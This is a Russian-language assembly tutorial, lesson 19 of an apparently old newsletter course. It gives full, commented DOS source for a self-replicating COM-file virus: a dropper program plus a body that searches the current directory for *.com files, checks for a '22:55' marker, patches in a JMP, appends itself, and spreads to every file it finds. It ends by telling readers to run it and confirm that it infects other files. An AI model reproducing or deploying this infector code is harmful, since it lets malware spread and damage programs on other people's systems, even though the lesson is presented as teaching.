Рассылка закрыта
При закрытии подписчики были переданы в рассылку "RFpro.ru: Ассемблер? Это просто! Учимся программировать" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
Уроки ассемблеру. Быстро и просто. Урок 19
В 18-м уроке,
друзья, у нас получилась забавная программа. Между метками Add_nop и
End_nop получается, мы можем разместить любой код, который запишется в
другие com-файлы — причём так, что первые три байта изменённой программы
будут указывать на начало нашего кода. Такой код можно использовать как
программу — носитель для модификации конкретного файла, так и как
исходный код для написания программы, работающей внутри заражённой
программы, проще говоря, вируса. Приведём программу из 18-го урока в удобный для нас вид: .286 ;Разрешает ассемблирование непривилегированных инструкций ;процессора 80286 (реальный режим) и инструкций арифметического ;сопроцессора 80287. CSEG segment ;Даём имя сегменту, а точнее определяем абсолютный ;сегмент в памяти программ по определённому адресу. ;Имя нашего сегмента будет CSEG. assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG ;Задаём сегментные регистры, которые будем использовать для ;вычисления действующего адреса для всех меток и переменных, опре- ;делённых для сегмента или группы сегментов с указанным именем. ;У нас их четыре, - CS, DS, ES, SS и они будут указывать на наш ;единственный сегмент (мы его назвали CSEG). org 100h ;Устанавливаем счётчик инструкций в текущем сегменте в соот- ;ветствии с адресом, задаваемым "выражением". ;Сейчас этот счётчик равен 100h - используется для всех программ ;типа .com begin: ;Метка начала программы. mov ah,1Ah ;Установим DTA в конец файла. mov dx,offset Finish int 21h call Find_first ;Ищем первый файл. jc Message_bad ;Нет txt-файлов - на выход. goto_cikl: ;Начало цикла. mov si,offset Finish add si,1Eh mov di,offset File_name_test mov cx,8 ;Длина сравниваемых строк repe cmpsb ;Случайно мы нашли не test.com? je call_metka2 mov ax,3D02h ;Загружаем в регистр ah число 3Dh (функция открытия ;файла с записью), а в al число 02h (пишем в конец). ;Можно было записать и так - mov ah,3Dh ;mov al,02h mov dx,offset Finish ;Указываем адрес файла в DTA (по умолчанию он 80h от начала PSP, add dx,1Eh ;+1Eh - наше имя файла. int 21h ;Выполняем функцию. mov Handle,ax ;При открытии файлу будет присвоен номер, его и ;сохраняем для дальнейших действий, mov bx,ax ;а заодно и сохраняем его в bx. mov ah,3Fh ;Читаем файл mov cx,1024 ;с длиной 1Кб. mov dx,offset Finish add dx,100h ;DX устанавливаем за DTA. int 21h ;Выполняем функцию. mov si,offset Name_virus ;Проверяем, "заражён" ли файл. mov di,ax add di,dx sub di,5 ;DI установлен на считанного конец файла - 5 байт (начало метки). mov cx,5 repe cmpsb je close_file push ax ;В стеке - число реально прочитанных байт. mov si,offset Finish ;Переносим 3 байта c начала программы в конец. add si,100h ;Но она располагается чуть дальше (зарезервируем длину PSP)! add ax,offset Finish ;Число прочитанных байт прибавляем к адресу начала программы. add ax,100h ;Плюс длина PSP. mov di,ax ;В di - адрес области за всем файлом. mov cx,3 ;Перемещаем (сохраняем) 3 байта. rep movsb add ax,3 ;В ax хранится адрес начала области нашей программы восстановления. push ax mov si,offset Finish add si,100h ;В si - адрес начала нашей считанной программы. mov byte ptr cs:[si],0E9h ;Первый байт = jmp pop ax pop cx push ax ;Нехитрой комбинацией устанавливаем в cx количество байт программы. mov si,offset Finish add si,100h ;Не забываем прибавлять 100h. inc si mov word ptr cs:[si],cx ;Ещё два байта = адрес, куда "прыгать". pop ax push ax ;В ax хранится адрес начала области нашей программы восстановления. mov si,offset Add_nop ;Переносим х байт c адреса смещения Add_nop mov di,ax ;в конец нашей программы, за нашими сохранёнными байтами. ;Сколько байт переносить? mov ax,offset Add_nop mov cx,offset End_nop sub cx,ax ;В cx - длина тела нашей "внутренней" программы. pop ax ;В ax хранится адрес начала области нашей программы восстановления. sub ax,offset Finish sub ax,100h ;Уберём длину затесавшегося PSP. add ax,cx ;В ax - новая длина файла. push ax ;Запоминаем ax. rep movsb mov dx,0h ;Устанавливаем указатель с начала файла +0h. mov cx,0h ;+0h мы указали потому, что будем mov ax,4200h ;перезаписывать считанный файл с первого байта. int 21h mov ah,40h ;Записываем программу (в т.ч.$) из смещения Finish mov dx,offset Finish ;по адресу, указанному выше. add dx,100h pop cx ;В cx - длина записываемой нами программы. Стек обнулён. int 21h close_file: mov ah,3Eh ;Используем функцию закрытия файла. mov bx,Handle ;Для закрытия обязательно "вспоминаем" его номер, ;номер у нас был сохранён в Handle. int 21h ;Выполняем функцию. call_metka2: call Find_next ;Ищем следующий файл. jnc goto_cikl ;Нашли ещё один файл; прыгаем на метку. Message_ok: ;Подпрограмма успешного вывода строки и выхода. mov ah,9 ;Выводим строку. mov dx,offset Mess_ok int 21h int 20h Message_bad: ;Подпрограмма вывода сообщения об ошибке и выхода. mov ah,9 mov dx,offset Mess_bad int 21h int 20h Add_nop equ $ ;Будущие строчки в конце файла. include virus.asm ;Чтобы не марать этот файл, будем писать в новом. End_nop equ $ ;Конец нашей внедряемой программы. Find_first proc ;Подпрограмма поиска первого файла. mov ah,4Eh ;Ищем первый файл по маске (функция 4Eh). xor cx,cx ;Атрибуты обычные. Смотрим, что в CX. mov dx,offset File_name ;Адрес маски в DS:DX int 21h ;В DTA заносится имя найденного файла. ret Find_first endp ;Подпрограмма поиска следующего файла. Find_next proc mov dx,offset Finish ;DS:DX указывают на DTA. xor cx,cx ;CX=0. mov ah,4Fh ;4Fh - поиск следующего файла. int 21h ;В DTA заносится имя найденного файла. ret Find_next endp File_name db '*.com',0 ;Маска файла. File_name_test db 'TEST.COM',0,'!$' Mess_ok db 'Файлы найдены и обновлены. Всем спасибо.$' ;Успешное сообщение и сообщение об ошибке (ниже). Mess_bad db 'Файлы не найдены. Поместите файлы *.com в каталог с программой.$' Handle dw 0FFFFh ;Определяем переменную (для идентификатора файла). Finish equ $ ;Метка конца нашей программы! CSEG ends end begin Данный файл записываем под именем test.asm (в кодировке 866, разумеется). И в этом же каталоге создадим файл virus.asm — который, как мы видим, указан в тексте программы. Всё это делается исключительно для нашего удобства — на самом деле при выполнении ml test.asm /AT компилятор обрабатывает их единым файлом (в дальнейшем для функционирования программы TEST.COM файл virus.asm не нужен). ;+-------------------------------------- ;| Конец зарезервированной области памяти. | ;| Начало вируса. Сохраняем по традиции регистры. | ;+-------------------------------------- pushf ;Сохраняем регистры. pusha call $+3 ;Переход на следующую команду с убиранием текущего адреса ;в стек (сохранится адрес команды pop dx) pop dx ;Извлекаем его sub dx,5 ;и вычитаем 5 байт - длина нашего всего от pop dx до ret, включительно mov ax,dx ;В ax - адрес начала вируса. mov Begin_virus,ax ;Запомним его. call LF ;Вызовем подпрограмму определения длины файла. mov cx,Length_file add cx,100h sub cx,Begin_virus mov Length_virus,cx ;Length_virus - длина программы - вируса. mov si,Length_file add si,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла, sub si,Length_virus ;В Length_virus - длина вируса. Итого в SI - начало области вируса. sub si,3 mov di,100h ;Восстанавливаем 3 байта в начало реальной программы. mov cx,3 rep movsb ;+-------------------------------------- ;| Конец фрагмента восстановления трёх байт. | ;| Следующий фрагмент - установка DTA. | ;| Зарезервируем на всякий случай 100h байт для круглого счёта | ;| (PSP, а вообще DTA находится по адресу 80h). | ;+-------------------------------------- mov ah,1Ah ;Установка DTA. mov dx,80h int 21h call Save_dta ;+-------------------------------------- ;| Поиск первого файла по маске в текущем каталоге | ;+-------------------------------------- call Find_first1 ;Ищем первый файл. jc exit ;Нет com-файлов - на выход. ;+-------------------------------------- ;| Начало основного цикла поиска файлов по маске *.com | ;| И их заражения, если они ещё не заражены. | ;+-------------------------------------- goto_cikl1: ;Начало цикла. mov ax,3D02h ;Загружаем в регистр ah число 3Dh (функция открытия ;файла с записью), а в al число 02h (пишем в конец). ;Можно было записать и так - mov ah,3Dh ;mov al,02h mov dx,9Eh ;Указываем адрес файла в DTA (Длина файла + 100h + 1Eh). int 21h ;Выполняем функцию. mov Handle1,ax ;При открытии файлу будет присвоен номер, его и ;сохраняем для дальнейших действий, mov bx,ax ;а заодно и сохраняем его в bx. mov ah,3Fh ;Читаем файл mov cx,1024 ;с длиной (например) 1Кб. mov dx,Length_file add dx,200h ;DX устанавливаем за DTA. int 21h ;Выполняем функцию. push dx ;Помещаем в стек адрес начала считанного файла. push ax ;Помещаем в стек длину считанного файла. mov Length_new_file,ax ;+-------------------------------------- ;| Если хотя бы один файл по маске в каталоге есть, мы его | ;| загружаем в память. Но мы ещё не знаем, заражён ли он? | ;+-------------------------------------- call Name_virus mov si,dx ;Проверяем, "заражён" ли файл. pop dx mov di,dx mov dx,ax ;Запоминаем ax. pop ax add di,ax ;DX = начало области нового файла, AX = истинная длина. sub di,5 ;DI установлен на конец считанного файла - 5 байт (начало метки). mov cx,5 ;Длина сравнения - 5 байт. repe cmpsb je close_file1 ;Если в конце файла уже находится метка 22:55, закрываем файл. ;+-------------------------------------- ;| Сейчас самое время для того, чтобы вычислить новую длину | ;| файла, которого мы прочитали и который находится в памяти | ;+-------------------------------------- mov Length_new_file,3h mov cx,Length_virus add Length_new_file,cx ;В Length_new_file будет длина нового файла с вирусом. Осталось прибавить длину файла. mov ax,dx ;Восстанавливаем ax. add Length_new_file,ax ;Новая длина файла с вирусом. push ax ;В стеке - опять число реально прочитанных байт. ;+-------------------------------------- ;| Сохраним первые оригинальные три байта в его собственном | ;| конце | ;+-------------------------------------- mov si,Length_file add si,200h ;Переносим 3 байта c начала программы в конец. mov di,si add di,ax ;В di - адрес области за всем файлом. mov cx,3 ;Перемещаем (сохраняем) 3 байта. rep movsb ;В di хранится адрес начала области нашей программы восстановления. push di ;А именно весь наш вирус за исключением первых трёх байт. ;+-------------------------------------- ;| Заменяем первые три байта на конструкцию jmp xx | ;+-------------------------------------- mov si,Length_file add si,200h mov byte ptr cs:[si],0E9h ;Первый байт = jmp pop ax pop cx mov si,Length_file add si,201h mov word ptr cs:[si],cx ;Ещё два байта = адрес, куда "прыгать" (адрес области с вирусом). ;Сейчас cx указывает совсем не туда, но это сработает, ;когда запустится заражённый файл. ;+-------------------------------------- ;| Реплицируем тело вируса | ;+-------------------------------------- mov si,Begin_virus ;Переносим х байт c начала адреса смещения mov di,ax ;в конец нашей программы, за нашими сохранёнными байтами. mov di,Length_file add di,200h add di,Length_new_file sub di,Length_virus mov cx,Length_virus ;Длина вируса у нас не меняется. rep movsb ;+-------------------------------------- ;| Записываем новый файл из памяти | ;+-------------------------------------- mov dx,0h ;Устанавливаем указатель с начала файла +0h. mov cx,0h ;+0h мы указали потому, что будем mov ax,4200h ;перезаписывать считанный файл с первого байта. int 21h mov ah,40h ;Записываем программу mov bx,Handle1 mov dx,Length_file add dx,200h ;с адреса: 100h + длина старого файла + 100h DTA. mov cx,Length_new_file int 21h ;+-------------------------------------- ;| Закрываем файл. | ;+-------------------------------------- close_file1: mov ah,3Eh ;Используем функцию закрытия файла. mov bx,Handle1 ;Для закрытия обязательно "вспоминаем" его номер, ;номер у нас был сохранён в Handle1. int 21h ;Выполняем функцию. ;+-------------------------------------- ;| Первый файл инфицировали. Может, есть ещё файлы? | ;+-------------------------------------- call Find_next1 ;Ищем следующий файл. jnc goto_cikl1 ;Нашли ещё один файл; прыгаем на метку. ;+-------------------------------------- ;| Окончание работы программы. Восстановим всё, как было. | ;+-------------------------------------- exit: call Restore_dta ;Восстановим DTA как было. popa ;Восстанавливаем регистры. popf ;+-------------------------------------- ;| Передаём управление на 100h так, чтобы не намусорить в | ;| регистрах. | ;+-------------------------------------- push 100h ret ;Безусловный переход в начало программы. ;+-------------------------------------- ;| Область подпрограмм | ;+-------------------------------------- Find_first1 proc ;Подпрограмма поиска первого файла. mov ah,4Eh ;Ищем первый файл по маске (функция 4Eh). xor cx,cx ;Атрибуты обычные. Смотрим, что в CX. call $+3 ;Переход на следующую команду с убиранием текущего адреса ;в стек (сохранится адрес команды pop dx) pop dx ;Извлекаем его add dx,7 ;и добавляем 7 байт - длина нашего всего от pop dx до ret, включительно int 21h ;в dx - правильный адрес строки ret db '*.com',0 ;Маска файла для заражения. Find_first1 endp ;Подпрограмма поиска следующего файла. Find_next1 proc mov dx,80h xor cx,cx ;CX=0. mov ah,4Fh ;4Fh - поиск следующего файла. int 21h ;В DTA заносится имя найденного файла. ret Find_next1 endp Name_virus proc call $+3 ;Переход на следующую команду с убиранием текущего адреса ;в стек (сохранится адрес команды pop dx) pop dx ;Извлекаем его add dx,5 ;и добавляем 5 байт - длина от pop dx до значения 22:55 ret db '22:55' ;Маска файла для заражения. Name_virus endp Restore_dta proc mov si,Length_file add si,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла, mov di,80h ;80h - длина DTA. mov cx,80h rep movsb ret Restore_dta endp Save_dta proc mov di,Length_file add di,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла, mov si,80h ;Восстанавливаем 80h байт в начало DTA. mov cx,80h rep movsb ret Save_dta endp LF proc call $+3 ;Переход на следующую команду с убиранием текущего адреса ;в стек (сохранится адрес команды pop dx) pop dx ;Извлекаем его add dx,28 ;и добавляем 28 байт - длина до конца программы. sub dx,100h ;От конца программы отнимаем адрес начала mov Length_file,dx ;и получаем длину файла. ret LF endp ;+-------------------------------------- ;| Область переменных | ;+-------------------------------------- Handle1 dw 0h ;Определяем переменную (для идентификатора файла). Length_virus dw 0h ;Зарезервируем переменную с длиной вируса. Length_file dw 0h ;Зарезервируем переменную с длиной файла (то, что в cx при старте). Length_new_file dw 0h ;Зарезервируем переменную с длиной файла. Begin_virus dw 0h ;Переменная адреса начала вируса. db '22:55' ;Просто идентификатор вируса. Структура нашего вируса (рассмотрено на конкретном примере с заражённым hello.com): Теперь кладём в один каталог файлы TEST.COM и hello.com и запускаем TEST.COM один раз (можно и больше, ничего страшного не произойдёт). Теперь наш hello.com и есть та программа, которая будет клонировать вирус во все найденные им com-файлы в текущем каталоге. Позаботьтесь, естественно, о том, чтобы в каталоге находились и другие файлы (например, hello2.com, hello3.com и т.д.), чтобы проверить её работоспособность. |
В избранное | ||